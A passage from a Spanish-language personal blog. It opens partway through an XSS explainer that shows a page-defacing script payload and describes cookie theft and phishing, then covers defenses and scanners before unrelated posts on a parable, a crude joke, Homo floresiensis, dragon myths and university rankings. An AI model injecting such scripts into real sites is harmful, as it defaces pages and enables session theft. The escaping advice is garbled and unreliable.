Como es posible observar cada vez que se ingrese a la página donde se refleja esta inyección se mostrara pagina.htm como frame superior. Algo más dañino podría ser el eliminar todo el contenido de la página de post y remplazarlo por un mensaje, se logra de una manera tan sencilla como esta:
<script>document.documentElement.innerHTML=”Borrada”;</script>
Otro uso común para estas vulnerabilidades es lograr hacer phishing, o colocar un Xploit, en la barra de direcciones muestra una cierta página, pero realmente se esta navegando en otra.
Robo de cookies
XSS es el método que se utiliza para el robo de cookies y otros datos importantes de los sitios web y permitirá, entre otras cosas, hacernos con las cookies de diferentes personas en un sitio especifico haciéndonos pasar por ellos en caso necesario, podríamos digamos, hacernos con la cookie del administrador de un foro o de un sitio en especifico que no tiene la debida protección o no pusieron el debido cuidado a la hora de hacer sus códigos.
¿Como protegerse?
La respuesta es muy sencilla. Si se es desarrollador: nunca confiar en la información enviada por los usuarios, y siempre hacer un filtro de los meta caracteres. Esto eliminara la mayoría de los ataques XSSS convertir “< “y “> “ a < y > sin embargo esto no nos asegura nada. También es necesario cambiar ( ) por ( y ), ” a “, ‘ a ', y también # & a # y &.
Sin embargo los atacantes frecuentemente utilizan una gran variedad de métodos para codificar la porción dañina de una etiqueta, como Unicode, de esa manera las peticiones se ven menos sospechosas para los usuarios. Existen cientos de variantes de estos ataques, incluyendo versiones que ni siquiera requieren de los símbolos <>. En lugar de ellos es recomendable validar las entradas con una rigurosa especificación de lo que se puede esperar de un ataque típico de XSS. Aunque la mayoría de los ataques están escritos en JavaScript cualquier contenido activo es una fuente potencial de peligro, incluyendo: ActiveX (OLE), VBScript, Shockwave, Flash, etc.
El proyecto de filtros de OSWAP esta produciendo componentes reutilizables en diversos lenguajes, para ayudar a prevenir muchas formas de parámetros corruptos, incluyendo los ataques XSS. Además el proyecto WebGoat de la misma organización tiene lecciones acerca del XSS y cifrado de datos.
Si es un usuario bastará con hacer clic en las páginas del sitio que estamos visitando, y si en algún momento se desea ir a otra página entonces se deberá ir a la página principal en lugar de hacer clic en los enlaces de la primera página. Esto podría eliminar el 90% de las amenazas. Otra manera de prevenir ataque es deshabilitar la ejecución de javascript desde la configuración de nuestro explorador.
Herramientas
Extensión para FireFox XSS Me 0.3.0
Es una herramienta utilizada para reflejar los ataques de XSS cross site scripting. Es importante señalar que no realiza pruebas para procedimientos almacenados del tipo XSS.rnm. la herramienta trabaja enviando las formas HTML y substituyendo los valores con cadenas que son representativas de un ataque XSS. La página resultante configura un valor de java (document.vulnerable=true) de esta manera sabemos que la página es vulnerable a un ataque de XSS. La herramienta no atenta contra la seguridad del sistema dado. Busca por posibles puntos vulnerables a un ataque contra el sistema. La herramienta no hace un escaneo de puertos, un sniffing de paquetes, hackeo de passwords o ataques al firewall. De hecho es posible ver a esta herramienta como las que utilizan los aseguradores de calidad.
Acunetix WVS (Web Vulnerability Scanner)
Los hackers esta en búsqueda de vulnerabilidades del Cross Site Scripting (XSS) en cada aplicación Web de la red: Carros de compra, paginas de ingreso, los contenido dinámicos son blancos fáciles. Acunetix WVS nos permite escanear una aplicación Web para localizar estos errores.
- Prueba una aplicación para encontrar vulnerabilidades como XSS, inyección de SQL, entre otras.
- Los firewall, SSL y servidores a prueba de fallas son inútiles cuando hablamos de hackear una página Web.
- Acunetix verifica el código fuente para buscar errores que puedan ser explotados por XSS
Bibliografía
The webappsec mailing list ( www.securityfocus.com)
webappsec@securityfocus.com
Published to the Public May 2002Copyright May 2002 Cgisecurity.com
http://www.owasp.org/index.php/Cross_Site_Scripting
Hello world!
Hola, pues este blog estará dedicado a varias cosas, seguridad y auditoria informatica, cosas relativas a Shakira y al pequeño gran mundo de los videojuegos, espero sus comentarios
abril 7, 2008
Lectura
Se cuenta que en el Siglo pasado,
un Turista Americano fue a la Ciudad de El Cairo, Egipto, con la finalidad de visitar a un famoso Sabio. El Turista se sorprendió al ver que el Sabio vivía en un cuartito muy simple y lleno de libros. Las únicas piezas de mobiliario eran una cama, una mesa y un banco. ¿Dónde están sus muebles? preguntó el Turista.Y el Sabio, rápidamente, también preguntó: ¿Y dónde están los suyos…? ¿Los míos?, se sorprendió el Turista. ¡Pero si yo estoy aquí solamente de paso!
Yo también… concluyó el Sabio.‘La vida en la tierra es solamente temporal… sin embargo,algunos viven como si fueran a quedarse aquí eternamente y se olvidan de ser felices’.
‘El valor de las cosas y los momentos no está en el tiempo que duran,sino en la intensidad con que se viven.Por eso existen momentos maravillosos, inolvidables, cosas inexplicables y personas incomparables.’
febrero 19, 2008
El perrito mexicano
Un mexicano va de cacería al África y se lleva su perrito Chihuahueño para no sentirse solo en ese lugar.
Un
día ya en la expedición, el perrito, correteando mariposas se aleja del
grupo, se extravía y comienza a vagar solo por la selva.
En eso
ve a lo lejos que viene una pantera enorme a toda carrera. Al ver que
la pantera se lo va a devorar, piensa rápido qué hacer.
En eso ve un montón de huesos de un animal muerto y se empieza a mordisquearlos.
Entonces, cuando la pantera está a punto de atacarlo, el perrito dice: Ahhhhh!, ¡qué rica pantera me acabo de chingar!!’
La pantera lo alcanza a escuchar y frenando en seco, gira y sale despavorida pensando:
¡Quien sabe que chingado animal será ese, ni madres no me vaya a
comer a mí también!
Un
changuito que andaba trepado en un árbol cercano que había visto y oído
la escena se rie y sale corriendo tras la pantera para contarle como la
engañó el pinche perrito mexicano:
’Cómo serás pendeja pinche pantera esos huesos ya estaban ahí,
además es un simple perro no seas puto.’
El perrito alcanza a darse cuenta de la mariconada del changuito.
Después que el changuito le contó a la pantera la historia de lo que vio, esta última muy encabronada le dice al changuito:
pinche perrito hijo de su….’¡Súbete a mi espalda, ahora vamos donde ese pinche perro a ver quién se come a quién!’.
Y
salen corriendo en chinga a buscar al perrito.. El perrito ve a lo
lejos que se le venía la pantera nuevamente en chinga, y esta vez con
el changuito chismoso encima.
‘¿¿Y en la madre y ahora qué hago??, piensa todo asustado el perrito.
Entonces,
en vez de salir corriendo, se queda sentado dándoles la espalda como si
no los hubiera visto, y en cuanto la pantera está a punto de atacarlo
de nuevo, el perrito dice:
‘¡Este mono hijo de la chingada!, hace como media hora que lo mandé a traerme otra pantera y todavía no aparece!’
MORALEJA: ‘EN MOMENTOS DE CRISIS, SOLO LA IMAGINACIÓN ES MAS IMPORTANTE QUE EL CONOCIMIENTO’.
Procura ser imaginativo como el perro,
evita ser pendejo como la pantera,
y nunca seas tan ojete como el changuito !!!
Recibe un cordial saludo
octubre 23, 2007
Los hobbits existieron?
![]()
Algunos especialistas habían sugerido que el fósil habría
pertenecido a un individuo afectado por algún tipo de disfunción
que limitó el crecimiento de su cerebro, como la microcefalia. Sus
descubridores, en cambio, habían propuesto que, o bien se trataba
de una forma pigmea de una especie conocida, o era un especie
completamente nueva.
Según los más recientes estudios, el llamado Hobbit, encontrado en
el año 2003 en una cueva de la isla indonesia de Flores por
arqueólogos australianos e indonesios, no estaba relacionado con la
microcefalia ni con formas pigmeas, sino que habría sido miembro de
una especie ancestral única.
El desgaste de los dientes en la mandíbula de lo que habría sido
una hembra, indica que cuando murió, hace 18.000 años, ya era un
individuo adulto. Pero con sólo un metro de alto y un cerebro cuyo
tamaño fue un tercio del que poseen los humanos modernos, era
necesario profundizar en su morfología para proporcionar un
veredicto final.
Las similitudes de la estructura exterior del cráneo con la de los
humanos, modernos y antiguos, sugieren que pertenecía al grupo
Homo, por lo que se ha propuesto que se le bautice como Homo
floresiensis.
Las impresiones dejadas por el cerebro en la cara interna del
cráneo han sido analizadas con tomografías computerizadas, y se han
comparado los resultados con los de otros cráneos antiguos,
incluidos algunos microcefálicos y pigmeos.
Ya existen noticias de que se han encontrado en Indonesia más
restos de fósiles de “Hobbits”, de manera que parece que pronto
sabremos si su pequeño tamaño era habitual o no.
Los análisis indican varias similitudes entre su cerebro y el del
Homo erectus, pero también hay diferencias, confirmando que se
trata de especies separadas. Ciertas estructuras sugieren que el
Hobbit poseía habilidades cognitivas notables. De hecho, se han
encontrado restos de herramientas de piedra, fuego y un elefante
pigmeo (que quizá domesticó), lo cual es sorprendente si tenemos en
cuenta que su cerebro era como el de un chimpancé.
julio 30, 2007
Dragones, ¿en verdad un mito?
El pasado domingo 29 de julio de este año pase con mis primos (Ricardo y Pepe) enfrente de una expo que había acerca de la cultura China y recordé un poster en que se mostraba una imagen de Quetzalcóatl y de un Dragón chino, y mencione que no me había dado cuenta de que el primero es un dragón a lo que Ricardo respondió: Si, no se te hace raro? en muchas culturas existen los dragones, es algo que te hace pensar. Y hasta allí quedo pero hace rato tuve un momento de ocio y busque algo de información acerca de los dragones en súper Wikipedia y es sorprendente como es que culturas tan diferentes como la egipcia, la hindú, la china, la japonesa, y las culturas prehispánicas de Mesoamérica compartan algo tan (según yo) significante e importante como una criatura mística que en la mayoría de ellas representa los valores positivos del ser humano. Este hecho me sorprende de verdad ya que nunca imagine que pudiéramos tener en común algo tan característico de una cultura, digo no hay pegasos, unicornios, o centauros en otra cultura que no sea la griega, sin embargo los dragones son animales que existen en muchos lugares que están separados por océanos y que no tuvieron (se supone) ningún tipo de contacto entre ellas, así que es cualquier tipo de influencia queda totalmente descartado, los científicos dicen que su existencia se debe a que estas culturas encontraron huesos de dinosaurios y que por eso se imaginaron a estas criaturas, sin embargo eso solo explica la existencia de los dragones del Medioevo o de las culturas de Europa central (aquellos como los dragones de Tolkien, Rowling, Weiss/Hickman, Beowulf, etc) pero no explica (o al menos a mi no me convence) el hecho de que todas las culturas tenga esta criatura en especifico en común, para tratar de demostrar esto tomare algunas imágenes de Wikipedia y otros sitios (sin ningún animo de lucro y únicamente con el objetivo de mostrar estos parecidos, que desde mi punto de vista es admirable), bueno pues empecemos:
El primer dragón que utilizare será de uno de los principales dioses (sino es que el mas) Toltecas/Mayas/Aztecas/Mixteca claro que cada una de ellas le dio a esta “Serpiente emplumada” un nombre diferente, según Wikipedia su nombre puede ser:
· Quetzalcoatl es el nombre que dieron los pueblos de habla nahuatl al Ser Supremo. Se compone de dos raíces: Quetzal, “pluma”, y Coatl, “serpiente”. Es un término metafórico, que indica lo que repta y lo que vuela, es decir, la Totalidad.
Otros significados de las raíces del nombre “Quetzalcoatl” que ayudan a entender este concepto tolteca (tomado de los diccionarios: "Vocabulario Nahuatl-castellano", del Padre Molina, México 1966, y "Diccionario de la Lengua Nauatl", de Remi Simeón, edición SXXI, México 2001), son los siguientes:
· Quetz: “caracol vocero, barba o melena”.
· Quetza: “dar un paso, aconsejar, fecundar, sostén, columna”
· Quetzal, “pluma, algo precioso, jade, condición femenina, condición de santidad”.
· Quequetza (reduplicado enfático): “ciclo de tiempo, recurrencia”.
· Coatl: “serpiente, doble, gemelo, ombligo, experiencia, generación, masculinidad, inmovilidad, pecado”. Este término da origen al aztequismo Coate, "hermano".
La combinación Quetzal-Coatl contiene los siguientes significados, todos relativos a las funciones de Quetzalcoatl en la teología tolteca: “serpiente con plumas”, “doble precioso”, “ave de las edades”, “gema de los ciclos”, “ombligo o centro precioso”, “serpiente acuática fecundadora”, “el de las barbas de serpiente”, “el precioso aconsejador”, “divina dualidad”, “femenino y masculino”, “pecado y perfección", “movimiento y quietud”.
Ahora le toca el turno a la cultura china, que es el que mas parecido tiene con nuestro kukulcan
Es una criatura mitológica china que también aparece en otras culturas del este de Asia y que a veces se denomina dragón oriental. Se representa como una criatura de cuerpo largo, parecida a una serpiente con cuatro garras, en contraste al dragón occidental, que camina sobre dos patas y suele presentarse como un ser malvado. El dragón chino ha sido desde antiguo un potente símbolo del poder favorable en el folclore y el arte chinos.
El dragón es también la personificación del concepto del yang (masculino) y está relacionado con el tiempo como propiciador de la lluvia y el agua en general. Su equivalente femenino es el fénix chino. Muchos chinos usan a menudo el término «Descendientes del Dragón» (龍的傳人)
El origen del dragón chino es INCIERTO, pero muchos investigadores están de acuerdo en que procede de tótems de diferentes tribus en China. Algunos han sugerido que vienen de una representación estilizada de animales existentes, tales como serpientes, peces o cocodrilos. Por ejemplo, el yacimiento Banpo de la cultura Yangshao en Shaanxi presentaba un motivo elongado parecido a una serpiente. Los arqueólogos creen que el «pez largo» habría evolucionado a imágenes del dragón chino. La relación con los peces se refleja en la leyenda de una carpa que vio la cima de una montaña y decidió que iba a alcanzarla. Nadó río arriba, escalando rápidos y cascadas sin dejar que nada le apartase de su camino. Cuando alcanzó la cima allí estaba la mítica «Puerta del Dragón» y cuando saltó por encima de ella se convirtió en un dragón. Se cree que varias cascadas y cataratas en China son la ubicación de la «Puerta del Dragón». (Esto me suena a cierto pokemon, jeje)
Un punto de vista alternativo, promovido por He Xin, es que los primeros dragones representaban una especie de cocodrilo. Específicamente el Crocodylus porosus, un antiguo cocodrilo gigante, conocido por su habilidad de sentir con precisión cambios en la presión del aire, anticipando así la llegada de la lluvia. Este puede haber sido el origen de los atributos míticos del dragón de controlar el tiempo, especialmente la lluvia. Además, existen evidencias de cultos al cocodrilo en las antiguas civilizaciones babilónica, india y maya. La relación con el cocodrilo es también apoyada por la opinión en tiempos antiguos de que los grandes cocodrilos eran una variedad de dragón.
Otros han propuesto que su forma es la fusión de los tótems de varias tribus como resultado de la fusión de las mismas. La forma enrollada de la serpiente o dragón jugó un importante papel en la antigua cultura china. Personajes legendarios como Nüwa (女媧) o Fuxi (伏羲) son representados con cuerpos de serpientes. Algunos investigadores informan de que el primer emperador de China legendario, Huang Di (黃帝, ‘Emperador Amarillo’) usaba una serpiente en su escudo de armas. Cada vez que conquistaba una nueva tribu incorporaba el emblema del enemigo derrotado en el suyo.
Desde sus orígenes como tótem o representación estilizada de criaturas naturales, el dragón chino evolucionó para convertirse en un animal mítico. Para la dinastía Han la apariencia del dragón se describía como un ser con el tronco de una serpiente, las escamas de una carpa, la cola de una ballena, los cuernos de ciervo, la cara de un camello, las garras de un águila, las orejas de un toro, los pies de un tigre y los ojos de una langosta, además de tener una perla llameante bajo su mentón. Los dragones chinos se representan ocasionalmente con alas de murciélago creciéndoles de sus miembros delanteros, pero la mayoría carece de ellas, si bien siguen siendo capaces de volar.
Ahora viene el turno de Japon
Los dragones japoneses (日本の竜 nihon-no-ryū o 竜 ryū "dragón") son unas criaturas legendarias de atributos físicos similares a los de los dragones chinos y coreanos. Hay pocas diferencias entre los dragones japoneses y aquellos que se creía que vivían en otras partes del mundo. Una importante diferencia es que, a diferencia de los coreanos y chinos, los dragones japoneses posen tres garras en lugar de cuatro. Se dice que los japoneses vuelan menos que los dragones occidentales, pero a diferencia de estos, los dragones japoneses son, salvo excepciones, bastante más benevolentes, y a veces se dice que conceden deseos. Los dragones japoneses no siempre tienen alas, al igual que los chinos y coreanos.
Algunos dicen que las historias sobre dragones pueden proceder de avisamientos de enormes peces que crecieron de forma desproporcionada. Sin embargo no se han encontrado nunca restos del esqueleto de dragones, y estos seres continúan perteneciendo al folclore.
Pocas veces se menciona a los dragones en la mitología japonesa. Uno de los más famosos es Yamata no Orochi, un terrible monstruo de ocho cabezas y ocho colas que fue asesinado por Susanoo, quien tras esto encontró la sagrada espada Kusanagi en su cuarta cola. Otro importante dragón es el dios-emperador del mar, Ryūjin.
Ahora les presento a un Dios poco conocido de los egipcios:
Apofis representa en la mitología egipcia a las fuerzas maléficas y a las tinieblas que habitan el Duat.
Era una serpiente gigantesca, indestructible y poderosa, cuya función consistía en interrumpir el recorrido del barco solar, pilotado por Ra, para evitar que consiguiera alcanzar el nuevo día, y para ello empleaba varios sistemas: atacaba a la barca directamente o culebreaba para provocar bancos de arena donde el navío encallara. Todo ello tenía sólo una finalidad: romper la Maat, el orden cósmico.
Apofis era el mal con el que había que luchar y a fin de contenerlo; sin embargo, nunca sería aniquilada, solo era dañada o sometida, ya que de otro modo el ciclo solar no podría llevarse a cabo diariamente y el mundo perecería. Para los antiguos egipcios era necesario que el concepto del mal existiese para que el bien fuera posible.
A diferencia del Génesis judeocristiano, donde el símbolo del mal está representado por una serpiente, en Egipto eran símbolos de resurrección, siendo la cobra (uraeus) el animal protector de los faraones y en la ciudad de Buto consideradas de carácter benéfico.
Y finalmente llegamos a los vikingos/escandinavos/nordicos:
Nidhogg es un dragón que vive en el Niflheim donde crece una de las raíces del árbol Yggdrasil, la cual roe sin cesar hasta que venga el Ragnarok y todo se destruya. Luego de la regeneración, Nidhogg atormentará las almas humanas que hayan quedado en el Niflheim.
Mientras éste vive en las raíces de Yggdrasil, Ratatösk corre de arriba para abajo llevando los insultos entre el águila Vidofnir y el halcón Veðrfölnir, ambos en la cima de Yggdrasil, hacia Nidhogg, esperando causar guerra entre ellos.
Veles, Volos, Weles o Voloh es el dios eslavo de la tierra, las aguas y el Mundo Subterráneo, asociado a los dragones, al ganado, la magia, los músicos, la riqueza y las travesuras. Asimismo, es el adversario del dios del trueno, Perun, constituyendo la batalla entre ambos uno de los mitos más importantes de la mitología eslava. Veles resulta ser un dios complejo y antiguo, incluso se piensa que pueda ser una reliquia proveniente del panteón proto-indoeuropeo. Se le ha representado (al menos en parte) como una sierpe, con cuernos (de toro, carnero u otros herbívoros domésticos) y con luenga barba.
junio 7, 2007
Algo para sentirse orgullosos
Por Baruch Velázquez y Tania Romero
…. La Unidad Profesional Interdisciplinaria de Ingeniería y Ciencias Sociales y Administrativas fue el campus del IPN que se llevó el primer lugar en Ingeniería en Informática.
Profesores ligados a diversas empresas del ramo, los convenios de colaboración y la formación interdisciplinaria, son algunas de las razones por las que los empleadores buscan a los egresados politécnicos, afirmó Emmanuel González Rogel(ahora se kien es el nuevo jefe, jeje), jefe de esta carrera.
"Cada materia es impartida por expertos que trabajan en la iniciativa privada, de Contabilidad, Economía, y en otras áreas de especialidad, algunos desarrolladores son directivos de diversas empresas", explicó.
La séptima edición de la encuesta de Las Mejores Universidades 2007-2008 se elaboró con la opinión de más de mil empleadores que evaluaron 15 de los programas más demandados en el área metropolitana.


